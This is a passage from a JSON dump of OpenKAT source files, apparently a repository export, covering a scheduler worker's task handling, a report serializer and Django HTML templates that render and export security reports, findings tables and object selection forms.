except:  # noqa\n            logger.exception(\"An unhandled error occurred handling scheduler item\", task=str(p_item.id))\n            raise\n        finally:\n            duration = (datetime.now() - start_time).total_seconds()\n            try:\n                # The docker runner could have handled this already\n                if scheduler.get_task_details(str(p_item.id)).status == TaskStatus.RUNNING:\n                    scheduler.patch_task(p_item.id, status)  # Note that implicitly, we have p_item.id == task_id\n                    logger.info(\n                        \"Set status in the scheduler\", status=status.value, task=str(p_item.id), duration=duration\n                    )\n            except HTTPError:\n                logger.exception(\"Could not patch scheduler task\", status=status.value, task=str(p_item.id))\n\n            gc.collect()\n\n\ndef get_runtime_manager() -> WorkerManager:\n    return SchedulerWorkerManager(\n        LocalReportRunner(get_bytes_client(\"\")),  # These are set dynamically. Needs a refactor.\n        scheduler_client(None),\n        settings.POOL_SIZE,\n        settings.POLL_INTERVAL,\n        settings.WORKER_HEARTBEAT,\n    )\n"
  },
  {
    "path": "rocky/reports/serializers.py",
    "content": "from rest_framework import serializers\n\nfrom rocky.views.mixins import EnrichedReport\n\n\nclass ReportSerializer(serializers.BaseSerializer):\n    def to_representation(self, instance):\n        if isinstance(instance, EnrichedReport):\n            report = instance.report\n        else:\n            report = instance\n        return {\n            \"id\": report.reference,\n            \"valid_time\": report.observed_at,\n            \"name\": report.name,\n            \"report_type\": report.report_type,\n            \"generated_at\": report.date_generated,\n            \"intput_oois\": report.input_oois,\n        }\n\n\nclass ReportRecipeSerializer(serializers.Serializer):\n    id = serializers.UUIDField(source=\"recipe_id\", required=False)\n    report_name_format = serializers.CharField()\n\n    input_recipe = serializers.DictField()\n    report_type = serializers.CharField()\n    asset_report_types = serializers.ListField(child=serializers.CharField())\n\n    cron_expression = serializers.CharField()\n    start_date = serializers.DateField(write_only=True, required=False)\n"
  },
  {
    "path": "rocky/reports/templates/aggregate_report.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n    {% include report_ooi.template with data=report_data %}\n\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/sidemenuOl.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/aggregate_report_pdf.html",
    "content": "<!DOCTYPE html>\n{% load static %}\n{% load i18n %}\n\n{% get_current_language as LANGUAGE_CODE %}\n<html lang=\"{{ LANGUAGE_CODE }}\">\n    <head>\n        <title>OpenKAT report</title>\n        <meta charset=\"UTF-8\">\n        <link rel=\"shortcut icon\" href=\"{% static \"img/favicon.svg\" %}\" />\n        <link href=\"{% static \"dist/report.css\" %}\" rel=\"stylesheet\">\n    </head>\n    <body>\n        {% include report_ooi.template with data=report_data %}\n\n    </body>\n</html>\n"
  },
  {
    "path": "rocky/reports/templates/forms/report_form_fields.html",
    "content": "<input type=\"hidden\"\n       name=\"observed_at\"\n       value=\"{{ observed_at|date:\"Y-m-d\" }}\">\n{% for ooi_type in ooi_types_selection %}<input type=\"hidden\" name=\"ooi_type\" value=\"{{ ooi_type }}\">{% endfor %}\n{% for clearance_level in clearance_levels_selection %}\n    <input type=\"hidden\" name=\"clearance_level\" value=\"{{ clearance_level }}\">\n{% endfor %}\n{% for clearance_type in clearance_types_selection %}\n    <input type=\"hidden\" name=\"clearance_type\" value=\"{{ clearance_type }}\">\n{% endfor %}\n{% if request.GET.page %}<input type=\"hidden\" name=\"page\" value=\"{{ request.GET.page }}\">{% endif %}\n{% if not disable_ooi_selection_fields %}\n    {% for ooi in selected_oois %}<input type=\"hidden\" name=\"ooi\" value=\"{{ ooi }}\">{% endfor %}\n{% endif %}\n{% if not disable_report_type_fields %}\n    {% for report_type in selected_report_types %}\n        <input type=\"hidden\" name=\"report_type\" value=\"{{ report_type }}\">\n    {% endfor %}\n{% endif %}\n{% for required_optional_plugin, plugins_ in plugins.items %}\n    {% for plugin in plugins_ %}<input type=\"hidden\" name=\"all_plugins\" value=\"{{ plugin.id }}\">{% endfor %}\n{% endfor %}\n{% if request.POST.choose_recurrence %}\n    <input type=\"hidden\"\n           name=\"choose_recurrence\"\n           value=\"{{ request.POST.choose_recurrence }}\">\n{% endif %}\n<input type=\"hidden\" name=\"object_selection\" value=\"{{ object_selection }}\">\n"
  },
  {
    "path": "rocky/reports/templates/generate_report/export_setup.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"choose-report\">\n        <section>\n            {% include \"partials/generate_report_header.html\" %}\n\n        </section>\n        <section>\n            {% include \"partials/stepper.html\" %}\n            {% include \"partials/export_report_settings.html\" %}\n\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/generate_report/select_oois.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"choose-report\">\n        <section>\n            {% include \"partials/generate_report_header.html\" %}\n\n        </section>\n        <section>\n            {% include \"partials/stepper.html\" %}\n            {% include \"partials/report_ooi_list.html\" %}\n\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/generate_report/select_report_types.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"choose-report\">\n        <section>\n            {% include \"partials/generate_report_header.html\" %}\n\n        </section>\n        <section>\n            {% include \"partials/stepper.html\" %}\n            {% include \"partials/report_types_selection.html\" %}\n\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/generate_report/setup_scan.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"choose-report\">\n        <section>\n            {% include \"partials/generate_report_header.html\" %}\n\n        </section>\n        <section>\n            {% include \"partials/stepper.html\" %}\n            {% include \"partials/report_setup_scan.html\" %}\n\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/pluginToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/generate_report.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"sidemenu choose-report report\">\n        {% include \"partials/generate_report_sidemenu.html\" %}\n\n        <article>\n            {% include \"partials/report_header.html\" %}\n            {% include \"partials/report_introduction.html\" %}\n\n            <div class=\"chapter-numbers report-content\">\n                {% include \"summary/report_asset_overview.html\" %}\n\n                {% for report_type, report in report_data.items %}\n                    {% for ooi, data in report.items %}\n                        {% if data.data %}\n                            <section id=\"{{ report_type }}-{{ ooi }}\">\n                                {% with modal_id=data.report_name|slugify|add:\"-modal\" %}\n                                    <div>\n                                        {% if report_ooi.report_type != \"multi-organization-report\" %}\n                                            <div class=\"horizontal-view\">\n                                                <h2>{{ data.report_name }}</h2>\n                                                {% with ooi=data.input_oois.0 report_type=data.report_types.0 %}\n                                                    {% include \"partials/report_section_action_button.html\" with template=data.template report_pk=\"AssetReport|\"|add:ooi|add:\"|\"|add:report_type show_introduction=\"yes\" %}\n\n                                                {% endwith %}\n                                            </div>\n                                        {% else %}\n                                            <h2>{{ data.report_name }}</h2>\n                                        {% endif %}\n                                        {% include data.template with data=data.data show_introduction=\"yes\" %}\n\n                                    </div>\n                                {% endwith %}\n                            </section>\n                        {% endif %}\n                    {% endfor %}\n                {% endfor %}\n            </div>\n        </article>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/sidemenuOl.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/generate_report_pdf.html",
    "content": "<!DOCTYPE html>\n{% load static %}\n{% load i18n %}\n\n{% get_current_language as LANGUAGE_CODE %}\n<html lang=\"{{ LANGUAGE_CODE }}\">\n    <head>\n        <title>OpenKAT report</title>\n        <meta charset=\"UTF-8\">\n        <link rel=\"shortcut icon\" href=\"{% static \"img/favicon.svg\" %}\" />\n        <link href=\"{% static \"dist/report.css\" %}\" rel=\"stylesheet\">\n    </head>\n    <body>\n        <main id=\"main-content\" tabindex=\"-1\" class=\"choose-report\">\n            {% include \"partials/report_header.html\" %}\n            {% include \"partials/report_introduction.html\" %}\n            {% include \"summary/report_asset_overview.html\" %}\n\n            {% for ooi, report in report_data.items %}\n                {% for report_type, data in report.items %}\n                    {% if data.report_name %}\n                        <section>\n                            <div>\n                                <h2>{{ data.report_name }}</h2>\n                                {% include data.template with data=data.data %}\n\n                            </div>\n                        </section>\n                    {% endif %}\n                {% endfor %}\n            {% endfor %}\n        </main>\n    </body>\n</html>\n"
  },
  {
    "path": "rocky/reports/templates/multi_report.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n    {% include report_ooi.template with data=report_data %}\n\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/sidemenuOl.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/multi_report_pdf.html",
    "content": "<!DOCTYPE html>\n{% load static %}\n{% load i18n %}\n\n{% get_current_language as LANGUAGE_CODE %}\n<html lang=\"{{ LANGUAGE_CODE }}\">\n    <head>\n        <title>OpenKAT report</title>\n        <meta charset=\"UTF-8\">\n        <link rel=\"shortcut icon\" href=\"{% static \"img/favicon.svg\" %}\" />\n        <link href=\"{% static \"dist/report.css\" %}\" rel=\"stylesheet\">\n    </head>\n    <body>\n        {% include report_ooi.template with data=report_data %}\n\n    </body>\n</html>\n"
  },
  {
    "path": "rocky/reports/templates/partials/export_report_settings.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load report_extra %}\n{% load ooi_extra %}\n\n<section>\n    <div>\n        {% if selected_report_types %}\n            <h2>{% translate \"Report schedule\" %}</h2>\n            <p>\n                {% blocktranslate trimmed %}\n                    When scheduling your report, you have two options. You can either choose to generate it just once now,\n                    or set it to run automatically at regular intervals, like daily, weekly,\n                    or monthly. If you need the report just for a single occasion, select the one-time option.\n                {% endblocktranslate %}\n            </p>\n            <form id=\"generate_report\" class=\"inline\" method=\"post\" action=\"{{ next }}\">\n                {% csrf_token %}\n                {% include \"forms/report_form_fields.html\" %}\n                {% include \"partials/form/fieldset.html\" with fields=report_schedule_form_start_date fieldset_parent_class=\"column-2\" %}\n\n                <h2>{% translate \"Report name\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        When generating reports, it is possible to give the report a name. The name\n                        can be static or dynamic. The default format for a report is '${report_type} for\n                        ${oois_count} objects'. These placeholders automatically adapt based on the report details.\n                        This format could for example return 'Aggregate Report for 15 objects'.\n                        Another placeholder that can be used is '${ooi}', which will show the name of the object when\n                        there is only one object. You can also customize the name by adding prefixes, suffixes,\n                        or other formats like '%W' for the week number, using options from\n                        <a href=\"https://strftime.org/\" target=\"_blank\" rel=\"noopener\">Python strftime code</a>.\n                    {% endblocktranslate %}\n                </p>\n                {% include \"partials/form/fieldset.html\" with fields=report_name_form %}\n\n                <button type=\"submit\" form=\"generate_report\">\n                    {% translate \"Generate report\" %}<span class=\"icon ti-chevron-right\" aria-hidden=\"true\"></span>\n                </button>\n            </form>\n        {% else %}\n            {% include \"partials/return_button.html\" with btn_text=\"Go back\" %}\n\n        {% endif %}\n    </div>\n</section>\n{% block html_at_end_body %}\n    <script src=\"{% static \"js/renameReports.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"js/autoSubmit.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/reports/templates/partials/generate_report_header.html",
    "content": "{% load i18n %}\n\n<div>\n    <h1>{% translate \"Generate report\" %}</h1>\n    <p>\n        {% if \"aggregate-report\" in request.get_full_path %}\n            {% translate \"To generate an aggregate report, complete the following steps.\" %}\n        {% elif \"multi-report\" in request.get_full_path %}\n            {% translate \"To generate a multi report, complete the following steps.\" %}\n        {% else %}\n            {% translate \"To generate separate report(s), complete the following steps.\" %}\n        {% endif %}\n    </p>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/partials/generate_report_sidemenu.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n<div class=\"sticky-container\" id=\"sticky-container\">\n    <nav data-open-label=\"Zijbalknavigatie\"\n         data-close-label=\"Sluit zijbalknavigatie\"\n         aria-label=\"Zijbalknavigatie\">\n        <h2 class=\"heading-large\">{% translate \"Table of contents\" %}</h2>\n        <ol class=\"chapter-numbers\">\n            <li>\n                <a href=\"#asset-overview\">{% translate \"Asset overview\" %}</a>\n            </li>\n            {% for report_type, report in report_data.items %}\n                {% for ooi,data in report.items %}\n                    {% if data.data %}\n                        <li>\n                            <a href=\"#{{ report_type }}-{{ ooi }}\">{{ data.report_name }}</a>\n                        </li>\n                    {% endif %}\n                {% endfor %}\n            {% endfor %}\n        </ol>\n    </nav>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/partials/new_report_action_button.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n<div class=\"dropdown\">\n    <button aria-label=\"{% translate \"Actions for creating a new report\" %}\"\n            aria-controls=\"add-report-dropdown\"\n            aria-expanded=\"false\"\n            class=\"dropdown-button ghost\">\n        {% translate \"Generate report\" %}\n        <span class=\"icon ti-chevron-down\" aria-hidden=\"true\"></span>\n    </button>\n    <div id=\"add-report-dropdown\"\n         class=\"dropdown-list\"\n         aria-labelledby=\"add-item-dropdown-button\">\n        <ul>\n            {% if asset_reports_enabled %}\n                {% url \"generate_report_landing\" organization.code as index_url_generate_report %}\n                <li {% if index_url_generate_report in request.path|urlencode %}aria-current=\"page\"{% endif %}>\n                    <a href=\"{{ index_url_generate_report }}?{{ request.GET.urlencode }}\">{% translate \"Separate report(s)\" %}</a>\n                </li>\n            {% endif %}\n            {% url \"aggregate_report_landing\" organization.code as index_url_aggregate_report %}\n            <li {% if index_url_aggregate_report in request.path|urlencode %}aria-current=\"page\"{% endif %}>\n                <a href=\"{{ index_url_aggregate_report }}?{{ request.GET.urlencode }}\">{% translate \"Aggregate report\" %}</a>\n            </li>\n            {% url \"multi_report_landing\" organization.code as index_url_multi_report %}\n            <li {% if index_url_multi_report in request.path|urlencode %}aria-current=\"page\"{% endif %}>\n                <a href=\"{{ index_url_multi_report }}?{{ request.GET.urlencode }}\">{% translate \"Multi report\" %}</a>\n            </li>\n        </ul>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/partials/plugin_overview_table.html",
    "content": "{% load i18n %}\n\n<h3>{% translate \"Overview\" %}</h3>\n<div class=\"horizontal-scroll\">\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Plugin overview table\" %}</caption>\n        <thead>\n            <tr>\n                <th>{% translate \"Report type\" %}</th>\n                <th>{% translate \"Status\" %}</th>\n                <th>{% translate \"Required plugins\" %}</th>\n                <th>{% translate \"Suggested plugins\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for report_type, data in plugin_data.report_types.items %}\n                <tr>\n                    <td>{{ report_type }}</td>\n                    <td>\n                        {% if data.number_of_enabled_required != data.number_of_available_required %}\n                            <span class=\"icon warning\" aria-hidden=\"true\"></span>{% translate \"Action required\" %}\n                        {% else %}\n                            <span class=\"icon confirmation\"></span>{% translate \"Ready\" %}\n                        {% endif %}\n                    </td>\n                    <td>\n                        {% if data.number_of_available_required > 0 and data.number_of_enabled_required != data.number_of_available_required %}\n                            <span class=\"icon warning\"></span>\n                        {% else %}\n                            <span class=\"icon confirmation\"></span>\n                        {% endif %}\n                        {{ data.number_of_enabled_required }}/{{ data.number_of_available_required }}\n                    </td>\n                    <td>{{ data.number_of_enabled_optional }}/{{ data.number_of_available_optional }}</td>\n                </tr>\n            {% endfor %}\n            <tfoot>\n                <tr>\n                    <td>Total</td>\n                    <td>\n                        {% if plugin_data.total_enabled_plugins.required != plugin_data.total_available_plugins.required %}\n                            <span class=\"icon warning\"></span>{% translate \"Action required\" %}\n                        {% else %}\n                            <span class=\"icon confirmation\"></span>{% translate \"Ready\" %}\n                        {% endif %}\n                    </td>\n                    <td>\n                        {% if plugin_data.total_available_plugins.required > 0 and plugin_data.total_enabled_plugins.required != plugin_data.total_available_plugins.required %}\n                            <span class=\"icon warning\"></span>\n                        {% else %}\n                            <span class=\"icon confirmation\"></span>\n                        {% endif %}\n                        {{ plugin_data.total_enabled_plugins.required }}/{{ plugin_data.total_available_plugins.required }}\n                    </td>\n                    <td>{{ plugin_data.total_enabled_plugins.optional }}/{{ plugin_data.total_available_plugins.optional }}</td>\n                </tr>\n            </tfoot>\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_findings_table.html",
    "content": "{% load i18n %}\n{% load humanize %}\n{% load ooi_extra %}\n\n{% if show_introduction %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            This table provides an overview of the identified findings on the scanned\n            systems. For each finding type it shows the risk level, the number of occurrences\n            and the first known occurrence of the finding. The risk level may be different for your specific environment.\n            The details can be seen when expanding a row. A description, the source, impact and recommendation of the finding\n            can be found here. It also shows in which findings the finding type occurred.\n        {% endblocktranslate %}\n    </p>\n{% endif %}\n{% if finding_types %}\n    <div>\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Other findings found\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                    <th scope=\"col\">{% translate \"Finding types\" %}</th>\n                    <th scope=\"col\">{% translate \"Occurrences\" %}</th>\n                    <th scope=\"col\">{% translate \"First known occurrence\" %}</th>\n                    {% if is_crisis_room %}\n                        <th scope=\"col\">{% translate \"Open in report\" %}</th>\n                    {% else %}\n                        <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n                    {% endif %}\n                </tr>\n            </thead>\n            <tbody>\n                {% for info in finding_types %}\n                    <tr id=\"{{ info.finding_type.id }}\">\n                        <td>\n                            <span class=\"{{ info.finding_type.risk_severity }}\">{{ info.finding_type.risk_severity|capfirst }}</span>\n                        </td>\n                        <td>{{ info.finding_type.id }}</td>\n                        <td>{{ info.occurrences|length }}</td>\n                        <td>{{ info.occurrences|get_first_seen }}</td>\n                        {% if is_crisis_room %}\n                            <td class=\"number\">\n                                <a href=\"{% url \"view_report\" dashboard_item.item.dashboard.organization.code %}?report_id={{ dashboard_item.data.report }}#{{ info.finding_type.id }}\"><span class=\"icon ti-arrow-right\"></span></a>\n                            </td>\n                        {% else %}\n                            <td class=\"actions sticky-cell\">\n                                <button class=\"expando-button\"\n                                        data-icon-open-class=\"icon ti-chevron-down\"\n                                        data-icon-close-class=\"icon ti-chevron-up\"\n                                        data-close-label=\"{% translate \"Close details\" %}\">\n                                    {% translate \"Open details\" %}\n                                </button>\n                            </td>\n                        {% endif %}\n                    </tr>\n                    {% if not is_crisis_room %}\n                        <tr class=\"expando-row\">\n                            <td colspan=\"5\">\n                                <h5>{% translate \"Description\" %}</h5>\n                                <p>{{ info.finding_type.description }}</p>\n                                <h5>{% translate \"Source\" %}</h5>\n                                {% if info.finding_type.source %}\n                                    <a class=\"nowrap\" href=\"{{ info.finding_type.source }}\">{{ info.finding_type.source }}</a>\n                                {% else %}\n                                    <p>{{ info.finding_type.source }}</p>\n                                {% endif %}\n                                <h5>{% translate \"Impact\" %}</h5>\n                                <p>{{ info.finding_type.impact }}</p>\n                                <h5>{% translate \"Recommendation\" %}</h5>\n                                <p>{{ info.finding_type.recommendation }}</p>\n                                <div>\n                                    <h5>{% translate \"Findings\" %}</h5>\n                                </div>\n                                <table>\n                                    <caption class=\"visually-hidden\">{% translate \"Findings overview\" %}</caption>\n                                    <thead>\n                                        <tr>\n                                            <th scope=\"col\">{% translate \"Finding\" %}</th>\n                                            <th scope=\"col\">{% translate \"First known occurrence\" %}</th>\n                                        </tr>\n                                    </thead>\n                                    <tbody>\n                                        {% for occurrence in info.occurrences %}\n                                            <tr>\n                                                <td>\n                                                    <a href=\"{% ooi_url 'ooi_detail' occurrence.finding.ooi organization.code %}\">{{ occurrence.finding.ooi|human_readable }}</a>\n                                                </td>\n                                                <td title=\"{{ occurrence.first_seen }} UTC\">{{ occurrence.first_seen|get_datetime|naturaltime }}</td>\n                                            </tr>\n                                        {% endfor %}\n                                    </tbody>\n                                </table>\n                            </td>\n                        </tr>\n                    {% endif %}\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% elif is_crisis_room or is_dashboard_item %}\n    <p>{% translate \"No critical and high findings have been identified for this organization.\" %}</p>\n{% else %}\n    <p>{% translate \"No findings have been identified for this organization.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_header.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n<section class=\"appendix\" id=\"introduction\">\n    <div>\n        <div class=\"horizontal-view toolbar\">\n            <h1>{{ report_ooi.name }}</h1>\n            <div class=\"dropdown\">\n                <button aria-controls=\"download-report\"\n                        aria-expanded=\"false\"\n                        class=\"dropdown-button ghost\">\n                    {% translate \"Actions\" %}<span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n                </button>\n                <div id=\"download-report\" class=\"dropdown-list\">\n                    <ul>\n                        <li>\n                            <a href=\"{{ report_download_pdf_url }}\" target=\"_blank\"><span class=\"icon ti-download\" aria-hidden=\"true\"></span>{% translate \"Download as PDF\" %}</a>\n                        </li>\n                        {% if report_ooi.report_type != \"multi-organization-report\" %}\n                            <li>\n                                <a href=\"{{ report_download_json_url }}\" target=\"_blank\"><span class=\"icon ti-download\" aria-hidden=\"true\"></span>{% translate \"Download as JSON\" %}</a>\n                            </li>\n                        {% endif %}\n                        {% if report_ooi.total_asset_reports >= 1 %}\n                            <li>\n                                <a href=\"{% url \"subreports\" organization.code %}?report_id={{ report_ooi }}\"><span class=\"icon ti-external-link\" aria-hidden=\"true\"></span>{% translate \"Open asset reports\" %}</a>\n                            </li>\n                        {% endif %}\n                    </ul>\n                </div>\n            </div>\n        </div>\n        <div>\n            <p>\n                {% translate \"This is the OpenKAT report for organization\" %} {{ organization.name }}.\n                {% if report_ooi.report_type == \"concatenated-report\" %}\n                    {% translate \"All selected report types for the selected objects are displayed one below the other.\" %}\n                {% endif %}\n            </p>\n            <p>\n                {% translate \"Created with data from:\" %} <strong>{{ report_ooi.observed_at|date }}</strong>\n            </p>\n            <p>\n                {% translate \"Created on:\" %} <strong>{{ report_ooi.date_generated|date }}</strong>\n            </p>\n            {% if report_ooi.report_type != \"multi-organization-report\" %}\n                <p>\n                    {% translate \"Created from recipe:\" %} <a href=\"{% ooi_url \"ooi_detail\" recipe_ooi.primary_key organization.code observed_at=report_ooi.observed_at %}\">{{ recipe_ooi.primary_key }}</a>\n                </p>\n                <p>\n                    {% translate \"Recipe created by:\" %} <strong>{{ recipe_ooi|get_user_full_name }}</strong>\n                </p>\n            {% endif %}\n        </div>\n        {% if report_ooi.report_type == \"multi-organization-report\" %}\n            <p>\n                {% blocktranslate with length=report_data.organizations|length trimmed %}\n                    This sector contains {{ length }} scanned organizations.\n                {% endblocktranslate %}\n                {% if report_data.tags %}\n                    {% translate \"Of these organizations\" %}\n                    {% for tag, organizations in report_data.tags.items %}\n                        {% if not forloop.last %}\n                            <i>{{ organizations|length }}</i>\n                            {% translate \"organizations have tag\" %}\n                            <i>{{ tag }}</i>,\n                        {% else %}\n                            and <i>{{ organizations|length }}</i>\n                            {% translate \"organizations have tag\" %}\n                            <i>{{ tag }}</i>.\n                        {% endif %}\n                    {% endfor %}\n                {% endif %}\n                {% translate \"The basic security scores are around \" %}{{ report_data.basic_security_score }}%.\n                {% blocktranslate with total=report_data.total_critical_vulnerabilities trimmed %}\n                    A total of {{ total }} critical vulnerabilities have been identified.\n                {% endblocktranslate %}\n            </p>\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_introduction.html",
    "content": "{% load i18n %}\n\n<section>\n    <div>\n        <h2>{% translate \"Introduction\" %}</h2>\n        <p>\n            {% blocktranslate trimmed %}\n                This report gives an overview of the current state of security for your organisation for the selected date.\n                The summary section provides an overview of the selected systems (objects), plugins and reports.\n                This is followed with the findings for each report.\n            {% endblocktranslate %}\n        </p>\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_names_form.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load report_extra %}\n{% load ooi_extra %}\n\n<table id=\"report-name-table\">\n    <caption class=\"visually-hidden\">{% translate \"Report names:\" %}</caption>\n    <thead>\n        <tr>\n            <th scope=\"col\" colspan=\"2\">\n                {% translate \"Name\" %} <span class=\"nota-bene\" aria-hidden>({% translate \"Required\" %})</span>\n            </th>\n            <th scope=\"col\">{% translate \"Add reference date\" %}</th>\n        </tr>\n    </thead>\n    <tbody>\n        {% for report_name in reports %}\n            {% with report_id=report_name|slugify %}\n                <input type=\"hidden\" name=\"old_report_name\" value=\"{{ report_name }}\" />\n                <tr>\n                    <td>\n                        <div>\n                            <input id=\"{{ report_id }}\"\n                                   class=\"name-input\"\n                                   name=\"report_name\"\n                                   type=\"text\"\n                                   value=\"{{ report_name }}\"\n                                   required\n                                   minlength=\"3\" />\n                        </div>\n                    </td>\n                    <td>\n                        <button type=\"button\"\n                                class=\"icon ti-arrow-back-up action-button reset-button hidden\"\n                                aria-label=\"{% translate \"Reset\" %}\"></button>\n                    </td>\n                    <td>\n                        <select class=\"reference-date\" name=\"reference_date\">\n                            <option value=\"\">{% translate \"No reference date\" %}</option>\n                            <option value=\"%b %d %Y, %H:%M\">{% translate \"Day\" %} ({{ created_at|date:\"N jS Y, H:i\" }})</option>\n                            <option value=\"week\">{% translate \"Week\" %} ({% translate \"Week\" %} {{ created_at|date:\"W, Y\" }})</option>\n                            <option value=\"%b, %Y\">{% translate \"Month\" %} ({{ created_at|date:\"N, Y\" }})</option>\n                            <option value=\"%Y\">{% translate \"Year\" %} ({{ created_at|date:\"Y\" }})</option>\n                        </select>\n                    </td>\n                </tr>\n            {% endwith %}\n        {% endfor %}\n    </tbody>\n</table>\n{% csrf_token %}\n"
  },
  {
    "path": "rocky/reports/templates/partials/report_ooi_list.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div>\n    <h2>{% translate \"Object selection\" %}</h2>\n    <p>\n        {% blocktranslate trimmed %}\n            Select which objects you want to include in your report. You can either continue\n            with a live set or you can select the objects manually from the table below.\n        {% endblocktranslate %}\n    </p>\n    <p>\n        {% blocktranslate trimmed %}\n            A live set is a set of objects based on the applied filters.\n            Any object that matches this applied filter (now or in the future) will be used as\n            input for the scheduled report. If your live set filter (e.g. 'hostnames' with\n            'L2 clearance' that are 'declared') shows 2 hostnames that match the filter today,\n            the scheduled report will run for those 2 hostnames. If you add 3 more hostnames\n            tomorrow (with the same filter criteria), your next scheduled report will contain\n            5 hostnames. Your live set will update as you go.\n        {% endblocktranslate %}\n    </p>\n    {% include \"partials/ooi_list_filters.html\" %}\n\n</div>\n<div>\n    <p>\n        {% blocktranslate trimmed %}\n            Based on the current dataset, your selected filters result in the following objects.\n        {% endblocktranslate %}\n    </p>\n    {% if all_oois_selected %}\n        <div class=\"horizontal-view horizontal-scroll toolbar start\">\n            <p class=\"de-emphasized\">{{ total_oois }} {% translate \"objects selected\" %}</p>\n            <a class=\"select_all_objects_element\">{% translate \"Deselect all objects\" %}</a>\n            <p class=\"de-emphasized end\">\n                {% blocktranslate with length=ooi_list|length total=total_oois %}Showing {{ length }} of {{ total }} objects{% endblocktranslate %}\n            </p>\n        </div>\n    {% elif ooi_list %}\n        <div class=\"horizontal-view horizontal-scroll toolbar\">\n            <div>\n                <a class=\"select_all_objects_element\">\n                    {% blocktranslate trimmed count counter=object_list|length %}\n                        Select all {{ total_oois }} object\n                    {% plural %}\n                        Select all {{ total_oois }} objects\n                    {% endblocktranslate %}\n                </a>\n            </div>\n            <div class=\"end\">\n                <p class=\"de-emphasized\">\n                    {% blocktranslate with length=ooi_list|length total=total_oois %}Showing {{ length }} of {{ total }} objects{% endblocktranslate %}\n                </p>\n            </div>\n        </div>\n    {% endif %}\n    <form 